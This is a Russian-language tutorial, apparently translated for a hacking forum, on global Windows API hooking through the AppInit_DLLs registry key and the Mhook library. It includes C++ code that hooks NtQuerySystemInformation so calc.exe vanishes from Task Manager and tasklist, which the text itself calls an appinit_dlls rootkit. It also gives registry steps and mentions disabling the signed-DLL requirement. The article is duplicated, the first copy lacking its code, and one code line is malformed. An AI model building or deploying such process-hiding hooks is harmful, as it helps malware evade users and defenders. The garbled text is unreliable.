Эта статья посвящена простому подходу к настройке глобальных перехватчиков API в масштабе всей системы. Для инъекции DLL мы будем использовать ключ реестра с именем AppInit_DLLs, а для выполнения перехвата API в Windows мы будем использовать библиотеку Mhook. В этой статье также будет представлен пример внедрения DLL: мы покажем, как можно легко сделать процесс calc.exe невидимым в списке запущенных процессов.
О перехвате API
Перехват Windows API — это процесс, позволяющий перехватывать вызовы API-функций. Это дает вам контроль над тем, как ведет себя операционная система или часть программного обеспечения. Некоторые из программных решений, использующих перехватчики, включают: программное обеспечение для защиты от вредоносных программ, решения для обеспечения безопасности приложений, инструменты мониторинга безопасности, системные утилиты, инструменты для программирования и многие другие.
Типы хуков API
Хуки API можно разделить на следующие типы:
- Локальные хуки: они влияют только на определенные приложения.
- Глобальные хуки: они влияют на все системные процессы.
Тип метода перехвата для Windows, который мы здесь рассматриваем, относится к глобальному типу. Он влияет на все процессы во всех сеансах (в отличие от метода SetWindowsHooks, который ограничен только выбранным рабочим столом).
Инфраструктура AppInit_DLL
Инфраструктура AppInit_DLLs загружает предопределенный набор DLL во все процессы пользовательского режима, связанные с библиотекой User32.dll (на самом деле исполняемых файлов, которые не были бы связаны с ней, почти нет). Когда User32.dll инициализируется, она загружает соответствующие библиотеки DLL, тем самым выполняя внедрение DLL в процессы.
Чтобы изменить поведение инфраструктуры AppInit_DLL, необходимо настроить значения раздела реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows.
Библиотека Mhook
Существует несколько библиотек перехвата API. Как правило, они делают следующее:
- Заменяют начальную часть кода определенной функции нашим собственным кодом (также известным как трамплин). После выполнения функция переходит к обработчику ловушек.
- Сохраняет исходную версию замененного кода определенной функции. Это необходимо для правильной работы определенной функции.
- Восстанливает замененную часть определенной функции.
Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook. Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата Windows API, поддерживающая системные архитектуры x32 и x64. Его интерфейс не сложен и не требует пояснений:
BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction);
BOOL Mhook_Unhook(PVOID *ppHookedFunction);
Более подробная информация о том, как использовать библиотеку, доступна далее в статье и на домашней странице Mhook.
Пример реализации
В этом примере мы будем использовать C++ для написания DLL пользовательского режима, чтобы проиллюстрировать методы внедрения DLL. Для этого необходима последняя версия исходников Mhook, которые будут добавлены в ваш проект. Обратите внимание, что любые предварительно скомпилированные заголовки должны быть отключены для файлов Mhook.
Как мы уже говорили, чтобы привести пример перехвата API, мы сделаем процесс calc.exe невидимым в списке процессов — для любого инструмента Windows, представляющего такой список. Этот пример продемонстрирует, как создать и внедрить DLL в процесс, тем самым установив глобальную перехватчик API — и создав своего рода руткит appinit_dlls.
Функция источника
Чтобы получить список запущенных процессов, вам нужно вызвать функцию NtQuerySystemInformationNTAPI. Это означает, что для нашего проекта требуется кое-что из NTAPI. Поскольку мы не можем найти полную информацию в заголовке winternl.h, типы данных должны быть определены вручную:
Создание и инициализация глобальной переменной позволяет нам хранить адрес исходной функции.
Функция после хука
После того, как функция была перехвачена, сначала она вызывает исходную функцию. Затем мы исследуем SystemInformationClass. Если окажется, что это SystemProcessInformation, в списке запущенных процессов нам нужно найти и удалить все записи, связанные с calc.exe. Вот и все!
Обратите внимание, что исходная и перехваченная функции должны иметь одинаковые cсигнатуры.
Настройка хука Windows
Настройка хука не требует особых усилий: вам просто нужно вызвать Mhook_SetHook из DllMain после загрузки DLL в новый процесс:
Отвязка
Для обратного перехвата вам нужно вызвать Mhook_Unhook из DllMain после выгрузки DLL из процесса:
Выполнение перехвата API
Теперь мы продемонстрируем, как работает наш DLL-хук. Следуй этим шагам:
- Соберите проект и поместите AppInitHook.dll, который у вас получится в результате, в корень диска C.
- В редакторе реестра Windows найдите ключ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows и выберите значение AppInit_DLLs.
- Отредактируйте значение и введите путь к хуку DLL (в нашем примере это C:\AppInitHook.dll).
- После того, как вы закончите редактирование реестра, хуки начнут работать.
Теперь запустим несколько экземпляров скрытого процесса. После этого проверьте процессы в диспетчере задач Windows: calc.exe отсутствует в списке.
Поскольку предоставленный хук API является глобальным, мы можем видеть, что тот же результат отображается другими программами с функциональностью, аналогичной диспетчеру задач Windows. Например, Process Explorer от Марка Руссиновича.
Последняя проверка: откройте командную строку и запустите tasklist.exe.
Процесс стандартного калькулятора Windows и все его экземпляры были успешно скрыты. Хук API работает, как и ожидалось.
Ограничения
Теперь нужно сказать несколько слов об ограничениях этого метода:
- Подключение к User32.dll: Как мы уже говорили в начале статьи, затронуты могут быть только те процессы, которые подключены к User32.dll.
- Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: Причина этого в том, что перехват DLL происходит в DllMain из User32.dll и никакая другая библиотека в этот момент не инициализируется.
- Функции безопасности Windows 7 и Windows 2008 R2: для этих функций требуются библиотеки DLL AppInit с цифровыми подписями. На самом деле это не большая проблема, поскольку функции можно отключить с помощью редактора реестра Windows.
- Пробелы в полном пути к AppInit DLL не допускаются.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.apriorit.com/dev-blog/160-apihooks
О перехвате API
Перехват Windows API — это процесс, позволяющий перехватывать вызовы API-функций. Это дает вам контроль над тем, как ведет себя операционная система или часть программного обеспечения. Некоторые из программных решений, использующих перехватчики, включают: программное обеспечение для защиты от вредоносных программ, решения для обеспечения безопасности приложений, инструменты мониторинга безопасности, системные утилиты, инструменты для программирования и многие другие.
Типы хуков API
Хуки API можно разделить на следующие типы:
- Локальные хуки: они влияют только на определенные приложения.
- Глобальные хуки: они влияют на все системные процессы.
Тип метода перехвата для Windows, который мы здесь рассматриваем, относится к глобальному типу. Он влияет на все процессы во всех сеансах (в отличие от метода SetWindowsHooks, который ограничен только выбранным рабочим столом).
Инфраструктура AppInit_DLL
Инфраструктура AppInit_DLLs загружает предопределенный набор DLL во все процессы пользовательского режима, связанные с библиотекой User32.dll (на самом деле исполняемых файлов, которые не были бы связаны с ней, почти нет). Когда User32.dll инициализируется, она загружает соответствующие библиотеки DLL, тем самым выполняя внедрение DLL в процессы.
Чтобы изменить поведение инфраструктуры AppInit_DLL, необходимо настроить значения раздела реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows.
| Значение | Описание | Пример |
|---|---|---|
| LoadAppInit_DLLs (REG_DWORD) | Позволяет включать и выключать AppInit_DLL в глобальном масштабе. | 0x0 отключает AppInit_DLL. 0x1 включает AppInit_DLL |
| AppInit_DLLs (REG_SZ) | Позволяет указать список DLL для загрузки. Элементы должны быть разделены запятыми или пробелами. Чтобы указать полный путь к DLL, используйте короткие имена файлов. | C:\PROGRA~1\Test\Sample.dll |
| RequireSignedAppInit_DLLs (REG_DWORD) | Позволяет ограничить диапазон библиотек DLL только подписанными кодом. | 0x0 позволяет загружать любые библиотеки DLL 0x1 позволяет загружать только библиотеки DLL с кодовой подписью. |
Библиотека Mhook
Существует несколько библиотек перехвата API. Как правило, они делают следующее:
- Заменяют начальную часть кода определенной функции нашим собственным кодом (также известным как трамплин). После выполнения функция переходит к обработчику ловушек.
- Сохраняет исходную версию замененного кода определенной функции. Это необходимо для правильной работы определенной функции.
- Восстанливает замененную часть определенной функции.
Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook. Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата Windows API, поддерживающая системные архитектуры x32 и x64. Его интерфейс не сложен и не требует пояснений:
BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction);
BOOL Mhook_Unhook(PVOID *ppHookedFunction);
Более подробная информация о том, как использовать библиотеку, доступна далее в статье и на домашней странице Mhook.
Пример реализации
В этом примере мы будем использовать C++ для написания DLL пользовательского режима, чтобы проиллюстрировать методы внедрения DLL. Для этого необходима последняя версия исходников Mhook, которые будут добавлены в ваш проект. Обратите внимание, что любые предварительно скомпилированные заголовки должны быть отключены для файлов Mhook.
Как мы уже говорили, чтобы привести пример перехвата API, мы сделаем процесс calc.exe невидимым в списке процессов — для любого инструмента Windows, представляющего такой список. Этот пример продемонстрирует, как создать и внедрить DLL в процесс, тем самым установив глобальную перехватчик API — и создав своего рода руткит appinit_dlls.
Функция источника
Чтобы получить список запущенных процессов, вам нужно вызвать функцию NtQuerySystemInformationNTAPI. Это означает, что для нашего проекта требуется кое-что из NTAPI. Поскольку мы не можем найти полную информацию в заголовке winternl.h, типы данных должны быть определены вручную:
Код:
//
// Defines and typedefs
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PNT_QUERY_SYSTEM_INFORMATION)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
Создание и инициализация глобальной переменной позволяет нам хранить адрес исходной функции.
//
// Original function
PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)::GetProcAddress:GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");
Функция после хука
После того, как функция была перехвачена, сначала она вызывает исходную функцию. Затем мы исследуем SystemInformationClass. Если окажется, что это SystemProcessInformation, в списке запущенных процессов нам нужно найти и удалить все записи, связанные с calc.exe. Вот и все!
Обратите внимание, что исходная и перехваченная функции должны иметь одинаковые cсигнатуры.
Код:
//
// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
)
{
NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
{
//
// Loop through the list of processes
//
PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
SystemInformation;
do
{
pCurrent = pNext;
pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"calc.exe", pNext->ImageName.Length))
{
if (0 == pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
pNext = pCurrent;
}
}
while(pCurrent->NextEntryOffset != 0);
}
return status;
}
Настройка хука Windows
Настройка хука не требует особых усилий: вам просто нужно вызвать Mhook_SetHook из DllMain после загрузки DLL в новый процесс:
Код:
//
// Entry point
BOOL WINAPI DllMain(
__in HINSTANCE hInstance,
__in DWORD Reason,
__in LPVOID Reserved
)
{
switch (Reason)
{
case DLL_PROCESS_ATTACH:
Mhook_SetHook((PVOID*)&OriginalNtQuerySystemInformation,
HookedNtQuerySystemInformation);
break;
Отвязка
Для обратного перехвата вам нужно вызвать Mhook_Unhook из DllMain после выгрузки DLL из процесса:
Код:
//
// Entry point
BOOL WINAPI DllMain(
__in HINSTANCE hInstance,
__in DWORD Reason,
__in LPVOID Reserved
)
{
switch (Reason)
{
...
case DLL_PROCESS_DETACH:
Mhook_Unhook((PVOID*)&OriginalNtQuerySystemInformation);
break;
}
Выполнение перехвата API
Теперь мы продемонстрируем, как работает наш DLL-хук. Следуй этим шагам:
- Соберите проект и поместите AppInitHook.dll, который у вас получится в результате, в корень диска C.
- В редакторе реестра Windows найдите ключ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows и выберите значение AppInit_DLLs.
- Отредактируйте значение и введите путь к хуку DLL (в нашем примере это C:\AppInitHook.dll).
- После того, как вы закончите редактирование реестра, хуки начнут работать.
Теперь запустим несколько экземпляров скрытого процесса. После этого проверьте процессы в диспетчере задач Windows: calc.exe отсутствует в списке.
Поскольку предоставленный хук API является глобальным, мы можем видеть, что тот же результат отображается другими программами с функциональностью, аналогичной диспетчеру задач Windows. Например, Process Explorer от Марка Руссиновича.
Последняя проверка: откройте командную строку и запустите tasklist.exe.
Процесс стандартного калькулятора Windows и все его экземпляры были успешно скрыты. Хук API работает, как и ожидалось.
Ограничения
Теперь нужно сказать несколько слов об ограничениях этого метода:
- Подключение к User32.dll: Как мы уже говорили в начале статьи, затронуты могут быть только те процессы, которые подключены к User32.dll.
- Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: Причина этого в том, что перехват DLL происходит в DllMain из User32.dll и никакая другая библиотека в этот момент не инициализируется.
- Функции безопасности Windows 7 и Windows 2008 R2: для этих функций требуются библиотеки DLL AppInit с цифровыми подписями. На самом деле это не большая проблема, поскольку функции можно отключить с помощью редактора реестра Windows.
- Пробелы в полном пути к AppInit DLL не допускаются.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.apriorit.com/dev-blog/160-apihooks